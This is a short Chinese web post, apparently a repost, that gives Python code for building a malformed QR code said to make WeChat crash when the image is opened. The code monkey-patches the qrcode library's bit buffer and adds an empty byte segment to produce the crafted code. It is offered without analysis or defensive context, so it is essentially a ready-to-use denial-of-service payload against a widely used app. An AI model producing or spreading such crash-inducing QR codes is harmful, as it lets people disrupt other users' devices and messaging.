查看更多访问:关于微信打开图片闪退,生成相关二维码的代码来了 – 谎伴 (liesys.com)
相关代码:
import qrcode
from qrcode.util import *
def hack_put(self, num, length):
if num == 0:
num = 233
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)
qrcode.util.BitBuffer.put = hack_put
qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)
num_data = QRData('1145141', MODE_NUMBER)
data = QRData(b'.', MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(hack_data)
qr.make_image().show()
Copyright
The copyright of the article belongs to the author, please do not reprint without permission.
Reviews No comments yet
The distribution appears here once people rate
No one has reviewed this site yet
One sentence from you becomes the next visitor's reference. Not sure where to start? Pick one: